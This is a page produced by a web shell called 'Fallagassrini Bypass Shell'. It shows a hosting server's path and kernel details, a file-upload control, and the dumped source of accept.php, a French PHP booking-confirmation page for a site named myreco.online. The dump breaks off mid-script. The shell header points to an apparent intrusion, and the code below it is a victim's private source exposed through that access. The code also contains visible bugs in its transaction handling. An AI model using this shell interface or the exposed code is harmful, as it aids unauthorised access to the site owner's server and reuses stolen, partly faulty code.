Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/happyrenas/find.myreco.online/public/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/happyrenas/find.myreco.online/public/accept.php

<?php
declare(strict_types=1);

/**
 * accept.php
 * Page acceptation (édition + preview + queue) — ezSQL, sans prepare
 */

session_start();

require_once __DIR__ . '/../configuration.php';
require_once __DIR__ . '/../includes/fonctions.php';

/* =========================================================
   Helpers (fallback)
========================================================= */
if (!function_exists('json_out')) {
  function json_out(array $payload, int $code = 200): void {
    http_response_code($code);
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($payload, JSON_UNESCAPED_UNICODE);
    exit;
  }
}
if (!function_exists('h')) {
  function h($s): string { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); }
}

/* =========================================================
   Inputs lien signé
   - On accepte GET (arrivée depuis dispo.php) et POST (actions preview/submit)
========================================================= */
$t   = (string)($_GET['t'] ?? ($_POST['t'] ?? ''));
$sig = (string)($_GET['sig'] ?? ($_POST['sig'] ?? ''));

/**
 * IMPORTANT:
 * La signature doit être cohérente avec dispo.php :
 * dispo.php valide via make_sig($a, $t)
 * donc ici pour accept => make_sig('accept', $t)
 */
if (!preg_match('/^[a-f0-9]{32}$/', $t)) {
  http_response_code(400);
  echo "Lien invalide.";
  exit;
}
if (!hash_equals(make_sig('accept', $t), $sig)) {
  http_response_code(403);
  echo "Signature invalide.";
  exit;
}

/* =========================================================
   Récupération demande d'origine (modele_id = 1)
========================================================= */
$row = $db->get_row("
  SELECT *
  FROM email_queue
  WHERE action_token = '" . $db->escape($t) . "'
    AND modele_id = 1
  LIMIT 1
");
if (!$row) {
  http_response_code(404);
  echo "Demande introuvable.";
  exit;
}

/* =========================================================
   Context JSON
========================================================= */
$ctx = [];
if (!empty($row->context_json)) {
  $tmp = json_decode((string)$row->context_json, true);
  if (is_array($tmp)) $ctx = $tmp;
}

/* =========================================================
   Pull structure (selon ton context_json)
========================================================= */
$token = $ctx['token'] ?? ($row->token ?? '');

$hebergement_nom     = (string)($ctx['hebergement']['name'] ?? '');
$hebergement_ville   = (string)($ctx['hebergement']['ville'] ?? '');
$hebergement_country = (string)($ctx['hebergement']['country'] ?? '');

$site              = (string)($ctx['hebergement']['site'] ?? '');
$site_reservation  = (string)($ctx['hebergement']['site_reservation'] ?? '');
$email_reservation = (string)($ctx['hebergement']['email_reservation'] ?? '');

$prenom         = (string)($ctx['form']['prenom'] ?? ''); // souvent vide si tu n’as pas ce champ côté formulaire
$nom            = (string)($ctx['form']['nom'] ?? '');
$email_voyageur = (string)($ctx['form']['email'] ?? '');

$date_debut = (string)($ctx['form']['date_debut'] ?? '');
$date_fin   = (string)($ctx['form']['date_fin'] ?? '');
$guests     = (string)($ctx['form']['voyageur_nombre'] ?? '');

/* nuits : supporte plusieurs clés + fallback */
$nuits = $ctx['form']['nuits'] ?? ($ctx['form']['nuit_nombre'] ?? '');
if ($nuits === '' && $date_debut && $date_fin) {
  try {
    $d1 = new DateTimeImmutable($date_debut);
    $d2 = new DateTimeImmutable($date_fin);
    $nuits = (int)$d1->diff($d2)->days;
    if ($d2 < $d1) $nuits = 0;
  } catch (Throwable $e) {
    $nuits = 0;
  }
}

$response_status = (string)($row->response_status ?? 'pending');

/* =========================================================
   POST: preview / submit
========================================================= */
if (($_SERVER['REQUEST_METHOD'] ?? '') === 'POST') {

  if (ob_get_level()) { @ob_end_clean(); }

  $action = (string)($_POST['action'] ?? '');

  // Champs modifiables
  $date_debut_in = trim((string)($_POST['date_debut'] ?? ''));
  $date_fin_in   = trim((string)($_POST['date_fin'] ?? ''));
  $guests_in     = trim((string)($_POST['voyageur_nombre'] ?? ''));
  $nuits_in      = trim((string)($_POST['nuits'] ?? ''));
  $tarif_in      = trim((string)($_POST['tarif'] ?? ''));
  $msg_host_in   = trim((string)($_POST['message_proprio'] ?? ''));
  $site_resa_in  = trim((string)($_POST['site_reservation'] ?? ''));
  $email_resa_in = trim((string)($_POST['email_reservation'] ?? ''));
  $site_in       = trim((string)($_POST['site'] ?? ''));

  /* -------------------------
     Validation formats
  -------------------------- */
  if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $date_debut_in) || !preg_match('/^\d{4}-\d{2}-\d{2}$/', $date_fin_in)) {
    json_out(['ok'=>false,'error'=>'Format de date invalide']);
  }
  if (!ctype_digit($guests_in) || (int)$guests_in < 1 || (int)$guests_in > 99) {
    json_out(['ok'=>false,'error'=>'Nombre de personnes invalide']);
  }
  if ($nuits_in === '' || !ctype_digit($nuits_in) || (int)$nuits_in < 0 || (int)$nuits_in > 365) {
    json_out(['ok'=>false,'error'=>'Nombre de nuités invalide']);
  }

  /* Validation réelle des dates + règles métier */
  $tz = new DateTimeZone('Europe/Paris');
  $dtDebut = DateTimeImmutable::createFromFormat('!Y-m-d', $date_debut_in, $tz);
  $dtFin   = DateTimeImmutable::createFromFormat('!Y-m-d', $date_fin_in, $tz);

  $errDeb = DateTimeImmutable::getLastErrors();
  if (!$dtDebut || ($errDeb['warning_count'] ?? 0) || ($errDeb['error_count'] ?? 0)) {
    json_out(['ok'=>false,'error'=>'Date de début invalide']);
  }
  $errFin = DateTimeImmutable::getLastErrors();
  if (!$dtFin || ($errFin['warning_count'] ?? 0) || ($errFin['error_count'] ?? 0)) {
    json_out(['ok'=>false,'error'=>'Date de fin invalide']);
  }

  $today = new DateTimeImmutable('today', $tz);
  if ($dtDebut < $today || $dtFin < $today) {
    json_out(['ok'=>false,'error'=>"Merci de choisir des dates à partir d’aujourd’hui."]);
  }
  if ($dtDebut > $dtFin) {
    json_out(['ok'=>false,'error'=>"La date de début doit être antérieure ou égale à la date de fin."]);
  }

  /* -------------------------
     Vars template MODELE 3 (email voyageur)
     (on garde les dates en Y-m-d comme dans ton code)
  -------------------------- */
  $vars = [
    'hebergement_nom'   => h($hebergement_nom),
    'hebergement_ville' => h(trim($hebergement_ville . ($hebergement_country ? ', '.$hebergement_country : ''))),

    'date_debut'        => h(date_fr_auto($date_debut_in)),
'date_fin'          => h(date_fr_auto($date_fin_in)),


    'voyageur_nombre'   => h($guests_in),
    'nuits'             => h($nuits_in),
    'tarif'             => h($tarif_in),

    'site'              => h($site_in),
    'site_reservation'  => h($site_resa_in),
    'email_reservation' => h($email_resa_in),

    'message_proprio'   => nl2br(h($msg_host_in)),
  ];

  /* =========================================================
     PREVIEW
  ========================================================= */
  if ($action === 'preview') {
    [$ok, $html] = render_modele_html(3, $vars);
    if (!$ok) json_out(['ok'=>false,'error'=>$html]);

    $dd_fr = date_fr_auto($date_debut_in);
	$df_fr = date_fr_auto($date_fin_in);

	json_out([
	  'ok'      => true,
	  'html'    => $html,
	  'subject' => "Disponibilité confirmée — ".$hebergement_nom." — ".$dd_fr." → ".$df_fr,
	  'to'      => $email_voyageur
	]);

  }

  /* =========================================================
     SUBMIT
  ========================================================= */
  if ($action === 'submit') {

    if (!filter_var($email_voyageur, FILTER_VALIDATE_EMAIL)) {
      json_out(['ok'=>false,'error'=>"Email voyageur invalide"]);
    }

    // rendu final mail (avant transaction)
    [$ok, $html] = render_modele_html(3, $vars);
    if (!$ok) json_out(['ok'=>false,'error'=>$html]);

    // Enrichit le context_json avec l'acceptation
    $ctx['acceptation'] = [
      'date_debut'        => $date_debut_in,
      'date_fin'          => $date_fin_in,
      'voyageur_nombre'   => (int)$guests_in,
      'nuits'             => (int)$nuits_in,
      'tarif'             => $tarif_in,
      'message_proprio'   => $msg_host_in,
      'site'              => $site_in,
      'site_reservation'  => $site_resa_in,
      'email_reservation' => $email_resa_in,
      'validated_at'      => date('c'),
    ];
    $ctx_json_new = json_encode($ctx, JSON_UNESCAPED_UNICODE);

    $request_uid = (string)($row->request_uid ?? '');
    if ($request_uid === '') $request_uid = bin2hex(random_bytes(16));

    $tok = (string)($row->token ?? $token);
    $now = date('Y-m-d H:i:s');
    $ip  = (string)($_SERVER['REMOTE_ADDR'] ?? '');

    $expediteur = 'contact@myreco.online';

    /* -------------------------
       Transaction (anti-double + cohérence)
    -------------------------- */
    $mysqli = $db->dbh ?? null;
if (!($mysqli instanceof mysqli)) {
  json_out(['ok'=>false,'error'=>'Connexion mysqli introuvable (transaction impossible)']);
}
$mysqli->begin_transaction();


    // 1) verrou logique : on “prend” la demande si encore pending
    $okUpd = $db->query("
      UPDATE email_queue
      SET response_status='accepted',
          response_at='" . $db->escape($now) . "',
          response_ip='" . $db->escape($ip) . "',
          context_json='" . $db->escape($ctx_json_new) . "'
      WHERE id=" . (int)$row->id . "
        AND (response_status IS NULL OR response_status='pending')
      LIMIT 1
    ");

    // Si déjà traité, on rollback
    $rowsAffected = property_exists($db, 'rows_affected') ? (int)$db->rows_affected : null;
    if (!$okUpd || ($rowsAffected !== null && $rowsAffected < 1)) {
      $mysqli = $db->dbh ?? null;
		if (!($mysqli instanceof mysqli)) {
		  json_out(['ok'=>false,'error'=>'Connexion mysqli introuvable (transaction impossible)']);
		}
		$mysqli->begin_transaction();

      json_out(['ok'=>false,'error'=>'Réponse déjà enregistrée.']);
    }

    // 2) Insert email voyageur (modele_id = 3)
    $action_token2 = bin2hex(random_bytes(16));
    $objet = "Disponibilité confirmée — $hebergement_nom - " . date_fr_auto($date_debut_in) . " → " . date_fr_auto($date_fin_in);


    $okIns = $db->query("
      INSERT INTO email_queue
        (action_token, request_uid, token, modele_id, expediteur, destinataire_principal, destinataire_copie,
         objet, message, context_json, status, error_message, retries, last_attempt, next_attempt, created_at)
      VALUES
        (
          '" . $db->escape($action_token2) . "',
          '" . $db->escape($request_uid) . "',
          '" . $db->escape($tok) . "',
          3,
          '" . $db->escape($expediteur) . "',
          '" . $db->escape($email_voyageur) . "',
          '',
          '" . $db->escape($objet) . "',
          '" . $db->escape($html) . "',
          '" . $db->escape($ctx_json_new) . "',
          'queued',
          NULL,
          0,
          NULL,
          '" . $db->escape($now) . "',
          NOW()
        )
    ");
    if (!$okIns) {
      $mysqli->rollback();

      json_out(['ok'=>false,'error'=>"Erreur DB (insert queue voyageur)"]);
    }

    $newId = (int)$db->insert_id;

    // 3) ACK hébergeur (accusé d’envoi OUI) — si email présent
    if (!filter_var($email_resa_in, FILTER_VALIDATE_EMAIL)) {
		$email_resa_in="pasdemail@myreco.online";
	}

      $tplPathAck = __DIR__ . '/../matrice/modele_accuse_acceptation.html';
      $tplAck = is_file($tplPathAck) ? (string)file_get_contents($tplPathAck) : '';

      if ($tplAck !== '') {

        $fmtDateFr = function(string $ymd): string {
          if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $ymd)) return $ymd;
          $dt = DateTimeImmutable::createFromFormat('!Y-m-d', $ymd);
          return $dt ? $dt->format('d/m/Y') : $ymd;
        };

        $unsubscribe_url = APP_BASE_URL . '/public/unsubscribe.php?email=' . urlencode($email_resa_in);
		
		$sentDt = new DateTimeImmutable($now); // moment du clic "Envoyer"
		$sent_date = $sentDt->format('d/m/Y');
		$sent_time = $sentDt->format('H:i');


        $varsAck = [
          'nom_du_client'    => h(trim($prenom.' '.$nom)),
          'email_voyageur'   => h($email_voyageur),
          'nom_commercial'   => h($hebergement_nom),

          'date_start'       => h($fmtDateFr($date_debut_in)),
          'date_end'         => h($fmtDateFr($date_fin_in)),
          'guests'           => h($guests_in),
          'nombre_nuite'     => h($nuits_in),

          'tarif'            => h($tarif_in),
          'site_reservation' => h($site_resa_in),
          'email_reservation'=> h($email_resa_in),

          'unsubscribe_url'  => h($unsubscribe_url),
		  'sent_date'       => h($sent_date),
		'sent_time'       => h($sent_time),

		  
		  
        ];

        $tplAck  = tpl_if_blocks($tplAck, $varsAck);
        $ackHtml = tpl_vars($tplAck, $varsAck);

        $action_token3 = bin2hex(random_bytes(16));
        $objetAck = "[MyReco] Accusé d'envoi — [DISPO:OUI] — ".$hebergement_nom ." du " . date_fr_auto($date_debut) . " au " . date_fr_auto($date_fin)." - ".$voyageur_nombre." pers.";

        $okAck = $db->query("
          INSERT INTO email_queue
            (action_token, request_uid, token, modele_id, expediteur, destinataire_principal, destinataire_copie,
             objet, message, context_json, status, error_message, retries, last_attempt, next_attempt, created_at)
          VALUES
            (
              '" . $db->escape($action_token3) . "',
              '" . $db->escape($request_uid) . "',
              '" . $db->escape($tok) . "',
              0,
              '" . $db->escape($expediteur) . "',
              '" . $db->escape($email_resa_in) . "',
              '',
              '" . $db->escape($objetAck) . "',
              '" . $db->escape($ackHtml) . "',
              '" . $db->escape($ctx_json_new) . "',
              'queued',
              NULL,
              0,
              NULL,
              '" . $db->escape($now) . "',
              NOW()
            )
        ");
        if (!$okAck) {
          $mysqli->rollback();

          json_out(['ok'=>false,'error'=>"Erreur DB (insert ACK hôte)"]);
        }
      }
    //}

    $mysqli->commit();

    json_out(['ok'=>true,'queued_id'=>$newId]);
  }

  json_out(['ok'=>false,'error'=>'Action invalide']);
}

/* =========================================================
   GET: page UI
========================================================= */
header('Content-Type: text/html; charset=utf-8');


// tarif total pré-rempli : priorité à une acceptation déjà enregistrée
$tarif_prefill = (string)($ctx['acceptation']['tarif'] ?? '');

if ($tarif_prefill === '') {
  $tarif_nuit = (string)($ctx['hebergement']['tarif_nuit'] ?? '');
  $tarif_nuit = str_replace(['€',' '], '', $tarif_nuit);
  $tarif_nuit = str_replace(',', '.', $tarif_nuit);

  // si tarif_nuit est numérique => calc total
  if ($tarif_nuit !== '' && preg_match('/^\d+(\.\d{1,2})?$/', $tarif_nuit)) {
    $n = (int)$nuits;
    // $g = (int)$guests; // (non utilisé pour le calcul du tarif)
    if ($n > 0) {
      $total = (float)$tarif_nuit * $n;
      // format FR simple
      $tarif_prefill = number_format($total, 2, ',', ' ');
    }
  }
}


$message_host_prefill = $ctx['acceptation']['message_proprio'] ?? '';
$date_debut_fr = $date_debut ? date_fr_auto($date_debut) : '';
$date_fin_fr   = $date_fin ? date_fr_auto($date_fin) : '';

?>
<!doctype html>
<html lang="fr">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <title>Répondre à la demande</title>

  
  <style>
    :root{
      --bg:#f6f7fb;
      --card:#ffffff;
      --text:#111827;
      --muted:#6b7280;
      --line:#e5e7eb;
      --accent:#2907f0;
      --soft:#f3f4f6;
      --radius:18px;

      /* Marron MyReco */
      --brown:#a2907f;
      --brown2:#8f7f70;
    }
    *{box-sizing:border-box}
    body{
      margin:0;
      font-family:ui-sans-serif,system-ui,-apple-system,Segoe UI,Roboto,Arial;
      background:var(--bg);
      color:var(--text);
      padding:28px 16px;
    }
    .wrap{max-width:1180px;margin:0 auto}
    h1{font-size:20px;margin:0}
    .sub{color:var(--muted);font-size:13px;margin-top:6px;line-height:1.4}
    .banner{
      margin-top:14px;
      padding:12px 14px;
      border-radius:14px;
      border:1px solid var(--line);
      background:#fff;
      color:#111827;
      box-shadow:0 10px 26px rgba(17,24,39,.06);
    }
    .banner.warn{background:#fff7ed;border-color:#fed7aa}
    .banner.ok{background:#ecfdf3;border-color:#bbf7d0}

    .global{
      margin-top:14px;
      background:var(--card);
      border:1px solid var(--line);
      border-radius:var(--radius);
      box-shadow:0 10px 26px rgba(17,24,39,.08);
      overflow:hidden;
    }
    .globalGrid{
      display:grid;
      grid-template-columns: 1.05fr .95fr;
      gap:0;
      min-height:560px;
    }
    @media (max-width: 980px){
      .globalGrid{grid-template-columns:1fr}
    }

    .colLeft{
      padding:18px;
      border-right:1px solid var(--line);
      background:linear-gradient(180deg, rgba(41,7,240,.03), transparent 40%);
    }
    @media (max-width: 980px){
      .colLeft{border-right:0;border-bottom:1px solid var(--line)}
    }
    .colRight{
      padding:18px;
      background:#fbfbff;
    }

    .leftGrid{display:grid;gap:14px}
    .subcard{
      background:#fff;
      border:1px solid var(--line);
      border-radius:16px;
      padding:16px;
    }
    .title{
      display:flex;
      justify-content:space-between;
      align-items:center;
      gap:12px;
      margin-bottom:10px;
    }
    .title h2{font-size:16px;margin:0}
    .badge{
      font-size:12px;
      color:var(--muted);
      background:var(--soft);
      border:1px solid var(--line);
      padding:6px 10px;
      border-radius:999px;
      white-space:nowrap;
    }

    .subcardBrown{
      border-radius:16px;
      padding:14px;
      background:linear-gradient(180deg, var(--brown), var(--brown2));
      border:1px solid rgba(0,0,0,.08);
      color:#fff;
    }
    .titleBrown{
      display:flex;
      justify-content:space-between;
      align-items:center;
      gap:12px;
      margin-bottom:10px;
    }
    .titleBrown h2{font-size:15px;margin:0;color:#fff}
    .badgeBrown{
      font-size:12px;
      color:rgba(255,255,255,.92);
      background:rgba(255,255,255,.12);
      border:1px solid rgba(255,255,255,.22);
      padding:6px 10px;
      border-radius:999px;
      white-space:nowrap;
    }
    .compactGrid{
      display:grid;
      grid-template-columns: 1fr 1fr;
      gap:10px;
    }
    @media (max-width: 520px){
      .compactGrid{grid-template-columns:1fr}
    }
    .chip{
      padding:10px 10px;
      border-radius:12px;
      background:#ffffff;
      border:1px solid rgba(0,0,0,.12);
      display:flex;
      justify-content:space-between;
      gap:10px;
      align-items:flex-start;
      color:#111827;
    }
    .chip b{
      font-size:12.5px;
      letter-spacing:.2px;
      color:#111827;
      flex:0 0 auto;
    }
    .chip span{
      font-size:12.5px;
      color:#374151;
      text-align:right;
      line-height:1.35;
    }
    .compactWide{grid-column:1 / -1}

    label{display:block;font-size:13px;margin:10px 0 6px}
    input{
      width:100%;
      padding:12px;
      border:1px solid var(--line);
      border-radius:12px;
      font-size:14px;
      outline:none;
      background:#fff;
    }
    input:focus{
      border-color:var(--accent);
      box-shadow:0 0 0 3px rgba(41,7,240,.12);
    }
    textarea{
      width:100%;
      padding:12px;
      border:1px solid var(--line);
      border-radius:12px;
      font-size:14px;
      outline:none;
      background:#fff;
      min-height:170px;
      resize:vertical;
    }
    textarea:focus{
      border-color:var(--accent);
      box-shadow:0 0 0 3px rgba(41,7,240,.12);
    }

    .row2{display:grid;grid-template-columns:1fr 1fr;gap:12px}
    @media (max-width: 520px){ .row2{grid-template-columns:1fr} }

    .info{
      padding:12px;
      border:1px dashed #c7c9d3;
      border-radius:14px;
      background:#fbfbff;
      color:var(--muted);
      font-size:13px;
      line-height:1.45;
      margin-bottom:10px;
    }
    a{color:var(--accent);text-decoration:none}
    a:hover{text-decoration:underline}

    .btnRow{
      display:flex;
      align-items:center;
      gap:12px;
      flex-wrap:wrap;
      margin-top:12px;
    }
    .btn{
      border:0;
      border-radius:12px;
      padding:12px 14px;
      font-weight:800;
      cursor:pointer;
      font-size:14px
    }
    .primary{background:#3B82F6;color:#fff}
    .secondary{background:#eef2ff;color:#1f2937}
    .btn:disabled{opacity:.55;cursor:not-allowed}

    .btnNote{
      color:var(--muted);
      font-size:12px;
      line-height:1.35;
      max-width:360px;
    }

    .previewWrap{
      height:100%;
      display:flex;
      flex-direction:column;
      gap:12px;
    }
    .previewHeader{
      display:flex;
      justify-content:space-between;
      align-items:center;
      gap:12px;
      background:#fff;
      border:1px solid var(--line);
      border-radius:16px;
      padding:14px;
    }
    .previewHeader h2{font-size:16px;margin:0}
    .preview{
      flex:1;
      background:#0b1020;
      color:#e5e7eb;
      border-radius:16px;
      padding:16px;
      border:1px solid rgba(255,255,255,.12);
      font-size:13px;
      line-height:1.6;
      overflow:auto;
      min-height:320px;
    }
    .meta{display:flex;flex-wrap:wrap;gap:8px;margin-bottom:10px}
    .tag{
      background:rgba(255,255,255,.08);
      border:1px solid rgba(255,255,255,.12);
      padding:6px 10px;
      border-radius:999px;
      font-size:12px;
    }
    .mini{color:var(--muted);font-size:12px}

    .iframe{
      width:100%;
      height:740px;
      border:1px solid rgba(255,255,255,.16);
      border-radius:12px;
      background:#fff;
      display:block;
      margin-top:12px;
    }

    .inputBrown{
      border:4px solid #a2907f;
    }
    .inputBrown:focus{
      border-color:#8f7f70;
      box-shadow:0 0 0 3px rgba(162,144,127,.25);
    }
	
	.btn-mini{
  border: 1px solid rgba(0,0,0,.15);
  background: #fff;
  color: #111827;
  border-radius: 999px;
  padding: 4px 10px;
  font-size: 12px;
  line-height: 1.2;
  cursor: pointer;
  user-select: none;
}
.btn-mini:hover{
  background: rgba(0,0,0,.04);
}
.btn-mini:active{
  transform: translateY(1px);
}

  </style>
</head>

<body>
  <div class="wrap">
    
    <?php if ($response_status !== 'pending'): ?>
      <div class="banner ok">
        <?if ($response_status=='accepted') {$response_affiche=" acceptée";}?> Demande <b><?=h($response_affiche);?></b>.
		<?exit;?>
      </div>
    <?php else: ?>
      <div class="banner warn">
        <!--Modifier au besoin, cliquer sur <b>Aperçu du mail</b>, puis <b>Envoyer</b>.-->
      </div>
    <?php endif; ?>

    <section class="global" aria-label="formulaire">
      <div class="globalGrid">

        <div class="colLeft">
          <div class="leftGrid">

            <div class="subcardBrown">
              <div class="titleBrown">
                <h2>Rappel de la demande</h2>
                <span class="badgeBrown">pré-rempli</span>
              </div>

              <div class="compactGrid">
                <div class="chip compactWide">
                  <b>Période</b>
                  <span id="periodeText"><?=h($date_debut)?> → <?=h($date_fin)?></span>
                </div>

                <div class="chip compactWide">
                  <b>Hébergement concerné</b>
                  <span><?=h($hebergement_nom)?></span>
                </div>

                <div class="chip">
                  <b>Voyageur</b>
                  <span><?=h(trim($prenom.' '.$nom))?></span>
                </div>

                <div class="chip">
                  <b>Personnes</b>
                  <span id="guestsText"><?=h($guests)?></span>
                </div>

                <div class="chip compactWide">
                  <b>Nuités</b>
                  <span id="nightsFromPeriod"><?=h((string)$nuits)?></span>
                </div>
              </div>
            </div>

            <form id="acceptForm" method="post">
              <input type="hidden" name="t" value="<?=h($t)?>">
              <input type="hidden" name="sig" value="<?=h($sig)?>">

              <div class="subcard">
                <div class="title">
                  <h2>Tarifs</h2>
                  <span class="badge">modifiable</span>
                </div>

                <label for="price">Tarif total à renseigner</label>
                <input id="price" name="tarif" class="inputBrown" type="text"
                       placeholder="ex : 420 € / séjour"
                       value="<?=h($tarif_prefill)?>" />

                <div class="row2">
                  <div>
					  <label for="nightsView">Nombre de nuitées</label>

					  <!-- Visible mais non modifiable -->
					  <input id="nightsView" type="number" min="0" max="365"
							 value="<?=h((string)$nuits)?>"
							 readonly
							 style="background:#f3f4f6; cursor:not-allowed;" />

					  <!-- Valeur réellement envoyée -->
					  <input id="nights" name="nuits" type="hidden" value="<?=h((string)$nuits)?>" />
					</div>

                  <div>
                    <label for="guests">Nombre de personnes</label>
                    <input id="guests" name="voyageur_nombre" type="number" min="1" max="99"
                           placeholder="ex : 2"
                           value="<?=h($guests)?>" />
                  </div>
                </div>

                <div class="row2">
                  <div>
                    <label for="dateStart">Date début</label>
                    <input id="dateStart" name="date_debut" type="date" value="<?=h($date_debut)?>" required>
                  </div>
                  <div>
                    <label for="dateEnd">Date fin</label>
                    <input id="dateEnd" name="date_fin" type="date" value="<?=h($date_fin)?>" required>
                  </div>
                </div>

                <label for="hostMsg">Message de l’hôte (optionnel)</label>
                <textarea id="hostMsg" name="message_proprio" rows="7"
                          placeholder="Ex: Merci pour votre demande, voici les modalités…"><?=h($message_host_prefill)?></textarea>

                <div class="mini" style="margin-top:10px">
                  
                </div>
              </div>

              <div class="subcard">
                <div class="title">
                  <h2>Info <?=h($hebergement_nom)?></h2>
                  <span class="badge">éditable</span>
                </div>

                <div class="info">
                  <b>Les infos ci-dessous sont aussi modifiables depuis</b>
                  votre <a href="https://www.myreco.online/administration/gestion/index.php?token=<?=h($token)?>" target="_blank" rel="noopener noreferrer" style="color:#9e8469;text-decoration:underline;">tableau de bord MyReco</a>.
                </div>

                <div class="row2">
  <div>
    <div style="display:flex;align-items:center;justify-content:space-between;gap:10px;">
      <label for="directUrl" style="margin:0;">Votre site de réservation directe</label>
      <button type="button" class="btn-mini" data-toggle-fill="#directUrl">Vider</button>
    </div>

    <input id="directUrl" name="site_reservation" type="url" placeholder="https://…"
           value="<?=h($site_reservation)?>" />
  </div>

  <div>
    <div style="display:flex;align-items:center;justify-content:space-between;gap:10px;">
      <label for="directEmail" style="margin:0;">Votre email de contact</label>
      <button type="button" class="btn-mini" data-toggle-fill="#directEmail">Vider</button>
    </div>

    <input id="directEmail" name="email_reservation" type="email" placeholder="resa@…"
           value="<?=h($email_reservation)?>" />
  </div>
</div>


                <label for="siteUrl">Votre site web</label>
                <input id="siteUrl" name="site" type="url" placeholder="https://…"
                       value="<?=h($site)?>" />

                <div class="btnRow">
                  <button class="btn secondary" type="button" id="btnPreview">Aperçu du mail</button>

                  <button class="btn primary" type="button" id="btnSubmit" <?=($response_status!=='pending'?'disabled':'')?>>
                    Envoyer
                  </button>

                  <div class="btnNote"></div>
                </div>
              </div>

            </form>

          </div>
        </div>

        <div class="colRight">
          <div class="previewWrap">
            <div class="previewHeader">
              <h2>Aperçu du mail</h2>
              <span class="badge">aperçu</span>
            </div>

            <div class="preview" aria-label="aperçu email">
              <div class="meta">
                <span class="tag"><b>Objet :</b> <span id="previewSubject"><?=h("Disponibilité confirmée — $hebergement_nom — $date_debut_fr → $date_fin_fr")?></span></span>
                <span class="tag"><b>À :</b> <span id="previewTo"><?=h($email_voyageur)?></span></span>
              </div>

              <div class="mini">
                
              </div>

              <iframe class="iframe" id="previewFrame"></iframe>
            </div>

            <div class="mini" style="margin-top:10px;">
              
            </div>
          </div>
        </div>

      </div>
    </section>
  </div>

<script>
<?php
$tarif_nuit_js = (string)($ctx['hebergement']['tarif_nuit'] ?? '');
?>
const TARIF_NUIT_RAW = <?= json_encode($tarif_nuit_js, JSON_UNESCAPED_UNICODE) ?>;
const HEB_NAME = <?= json_encode($hebergement_nom, JSON_UNESCAPED_UNICODE) ?>;

function fmtFr(ymd){
  if (!ymd) return '—';
  const m = /^(\d{4})-(\d{2})-(\d{2})$/.exec(ymd);
  if (!m) return ymd;
  return m[3] + '/' + m[2] + '/' + m[1];
}

(function(){
  const form = document.getElementById('acceptForm');
  const frame = document.getElementById('previewFrame');

  const btnPreview = document.getElementById('btnPreview');
  const btnSubmit  = document.getElementById('btnSubmit');

  const priceInp  = document.getElementById('price');   // ✅ ici
  const dateStart = document.getElementById('dateStart');
  const dateEnd   = document.getElementById('dateEnd');
  const nightsInp  = document.getElementById('nights');      // hidden envoyé
  const nightsView = document.getElementById('nightsView');  // visible readonly

  const guestsInp = document.getElementById('guests');

  const periodeText = document.getElementById('periodeText');
  const nightsFromPeriod = document.getElementById('nightsFromPeriod');
  const guestsText = document.getElementById('guestsText');

  const previewSubject = document.getElementById('previewSubject');
  const previewTo = document.getElementById('previewTo');

  function parsePriceToNumber(raw){
    if (!raw) return null;
    let s = String(raw).trim();
    if (!s) return null;

    s = s.replace(/€/g, '').replace(/\s+/g, '');
    s = s.replace(',', '.');

    if (!/^\d+(\.\d{1,2})?$/.test(s)) return null;
    const n = Number(s);
    return Number.isFinite(n) ? n : null;
  }

  function formatPriceFr(n){
    try {
      return n.toLocaleString('fr-FR', {minimumFractionDigits: 2, maximumFractionDigits: 2});
    } catch(e){
      return String(Math.round(n * 100) / 100).replace('.', ',');
    }
  }

  function computeTotal(tarifNuit, nights){
    if (!(tarifNuit > 0) || !(nights > 0)) return null;
    return tarifNuit * nights;
  }

  function diffNights(a, b){
    if (!a || !b) return null;
    const da = new Date(a + 'T00:00:00');
    const db = new Date(b + 'T00:00:00');
    const ms = db - da;
    if (!isFinite(ms)) return null;
    const d = Math.round(ms / 86400000);
    return d < 0 ? 0 : d;
  }

  function syncComputed(){
    const ds = dateStart?.value || '';
    const de = dateEnd?.value || '';

    if (periodeText) periodeText.textContent = (ds || '—') + ' → ' + (de || '—');

    const n = diffNights(ds, de);
	if (n !== null) {
	  if (nightsInp)  nightsInp.value  = String(n);  // hidden
	  if (nightsView) nightsView.value = String(n);  // visible
	  if (nightsFromPeriod) nightsFromPeriod.textContent = String(n);
	}


    if (guestsText && guestsInp) guestsText.textContent = guestsInp.value || '—';

    if (previewSubject){
      previewSubject.textContent = "Disponibilité confirmée — " + (HEB_NAME || '—') + " — " + fmtFr(ds) + " → " + fmtFr(de);
    }

    // ✅ Auto-calc tarif total (si user n’a pas modifié à la main)
    if (priceInp && nightsInp && guestsInp){
      // si dataset.auto n'existe pas encore, on le considère en auto
      if (!priceInp.dataset.auto) priceInp.dataset.auto = '1';

      const autoAllowed = (!priceInp.value || priceInp.dataset.auto !== '0');
      if (autoAllowed){
        const tn = parsePriceToNumber(TARIF_NUIT_RAW);
        const nNights = Number(nightsInp.value || 0);
        
        const total = computeTotal(tn, nNights);
        if (total !== null){
          priceInp.value = formatPriceFr(total);
          priceInp.dataset.auto = '1';
        }
      }
    }
  }

  async function post(action){
    const fd = new FormData(form);
    fd.set('action', action);

    const res = await fetch(window.location.href.split('#')[0], {
      method: 'POST',
      body: fd,
      headers: { 'Accept': 'application/json' }
    });

    const text = await res.text();
    try {
      return JSON.parse(text);
    } catch(e){
      console.error("Réponse non JSON:", text);
      throw new Error("Réponse serveur invalide (JSON attendu). Regarde la console.");
    }
  }

  async function loadPreview(scroll = false){
    if (!btnPreview || !frame) return;
    btnPreview.disabled = true;
    try{
      const data = await post('preview');
      if (!data.ok){
        alert(data.error || 'Erreur');
        return;
      }

      frame.style.display = 'block';
      const doc = frame.contentDocument || frame.contentWindow.document;
      doc.open(); doc.write(data.html || ''); doc.close();

      if (data.subject && previewSubject) previewSubject.textContent = data.subject;
      if (data.to && previewTo) previewTo.textContent = data.to;

      if (scroll){
        frame.scrollIntoView({behavior:'smooth', block:'start'});
      }
    } catch(e){
      alert(e.message || "Erreur");
    } finally {
      btnPreview.disabled = false;
    }
  }

  btnPreview?.addEventListener('click', () => loadPreview(true));

  // ✅ Aperçu affiché par défaut
  loadPreview(false);


btnSubmit?.addEventListener('click', async () => {
